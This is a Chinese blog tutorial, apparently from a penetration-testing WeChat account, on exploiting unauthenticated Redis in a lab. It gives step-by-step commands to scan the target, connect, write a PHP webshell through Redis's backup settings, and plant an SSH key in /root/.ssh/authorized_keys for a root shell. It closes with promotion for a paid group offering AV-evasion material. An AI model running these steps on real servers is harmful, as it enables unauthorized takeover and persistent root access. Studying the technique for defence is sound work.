redis未授权访问漏洞的利用
2023-11-17 23:24:30 Author: 渗透安全团队(查看原文) 阅读量:6 收藏

当redis服务(6379)端口对外开放且未作密码认证时,任意用户可未授权访问redis服务并操作获取其数据。
攻击机:10.1.1.100 kali
目标靶机:10.1.1.200
一、探测redis的未授权访问
首先在攻击机上使用nmap对目标机进行扫描,探测开放的服务与端口。
使用全端口扫描,探测存在的服务:nmap -p- -sV 10.1.1.200


探测到靶机开放了多个端口,其中存在redis服务的6379端口,开始尝试是否存在redis未授权访问漏洞。
下载redis连接工具,解压后使用make命令进行编译。


编译后的redis-cli文件存放在src目录中,将其复制到bin目录下,就可以在任意位置执行。


使用redis-cli工具对redis数据尝试进行连接。
redis-cli -h 10.1.1.200 -p 6379


连接成功,这个地方存在一个未授权访问。

二、利用未授权访问漏洞写入一句话木马。
对之前使用nmap扫描到的80端口进行访问,发现了一个页面,判断存在web服务,尝试使用扫描工具对目录进行一个探测。


使用dirsearch工具进行目录的探测,发现还存在一个phpinfo目录。


看到了网站的根目录


利用之前已经远程连接到的redis数据库,利用写入备份文件的方式,在这个地方可以尝试写入一句话木马。
config set dir <路径> #设置备份路径
config set dbfilename <文件名> #设置备份文件的名字
set <key> <value> #写入数据
save #保存


访问目标,拿到webshell

三、利用redis未授权访问写入ssh公钥获取shell
先生成ssh的公钥,公钥文件一般保存在/root/.ssh目录下
ssh-keygen -t rsa


将公钥写入到foo.txt文件中,前后使用换行,必然和其他符号连接产生其他不可预知错误。
(echo -e “\n\n”; cat ~/.ssh/id_rsa.pub; echo -e “\n\n”) > /tmp/foo.txt


将公钥信息写入到目标靶机
cat /tmp/foo.txt | redis-cli -h 10.1.1.200 -p 6379 -x set sshkey


再一次利用备份功能写入公钥的备份文件。
config set dir /root/.ssh
config set dbfilename authorized_keys
save


使用ssh连接方式:ssh [email protected] -i /root/.ssh/id_rsa


成功获取到shell。


付费圈子

欢 迎 加 入 星 球 !

代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员

进成员内部群

星球的最近主题和星球内部工具一些展示

加入安全交流群

                               

关 注 有 礼

关注下方公众号回复“666”可以领取一套领取黑客成长秘籍

 还在等什么?赶紧点击下方名片关注学习吧!


干货|史上最全一句话木马

干货 | CS绕过vultr特征检测修改算法

实战 | 用中国人写的红队服务器搞一次内网穿透练习

实战 | 渗透某培训平台经历

实战 | 一次曲折的钓鱼溯源反制

免责声明
由于传播、利用本公众号渗透安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号渗透安全团队及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
好文分享收藏赞一下最美点在看哦

文章来源: http://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247512050&idx=1&sn=1afc82623268de910de7facee14c0d17&chksm=c176525df601db4b0821feed9fe9b0c9bc64cc0d19e5710c32d2d47f69d82afe79ec01861f70&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh